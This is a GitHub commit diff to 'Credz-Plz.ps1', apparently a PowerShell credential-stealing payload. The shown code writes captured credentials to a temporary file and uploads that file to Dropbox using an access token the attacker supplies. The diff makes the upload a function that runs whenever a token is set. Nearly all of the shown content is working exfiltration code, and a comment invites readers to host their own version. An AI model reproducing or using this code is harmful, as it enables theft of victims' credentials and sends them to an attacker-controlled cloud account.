Update Credz-Plz.ps1

This commit is contained in:
I-Am-Jakoby 2022-12-18 21:43:51 -06:00 committed by GitHub
parent be0c200181
commit ddda9618df
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -33,8 +33,8 @@
#> #>
#------------------------------------------------------------------------------------------------------------------------------------ #------------------------------------------------------------------------------------------------------------------------------------
# This is for if you want to host your own version of the script
$DropBoxAccessToken = "YOUR-DROPBOX-ACCESS-TOKEN" # $db = "YOUR-DROPBOX-ACCESS-TOKEN"
#------------------------------------------------------------------------------------------------------------------------------------ #------------------------------------------------------------------------------------------------------------------------------------
@ -139,15 +139,19 @@ echo $creds >> $env:TMP\$FileName
This is to upload your files to dropbox This is to upload your files to dropbox
#> #>
$TargetFilePath="/$FileName" function dropbox {
$SourceFilePath="$env:TMP\$FileName" $TargetFilePath="/$ZIP"
$SourceFilePath="$env:TEMP\$ZIP"
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
$authorization = "Bearer " + $DropBoxAccessToken $authorization = "Bearer " + $db
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Authorization", $authorization) $headers.Add("Authorization", $authorization)
$headers.Add("Dropbox-API-Arg", $arg) $headers.Add("Dropbox-API-Arg", $arg)
$headers.Add("Content-Type", 'application/octet-stream') $headers.Add("Content-Type", 'application/octet-stream')
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
}
if (-not ([string]::IsNullOrEmpty($db))){dropbox}
#------------------------------------------------------------------------------------------------------------------------------------ #------------------------------------------------------------------------------------------------------------------------------------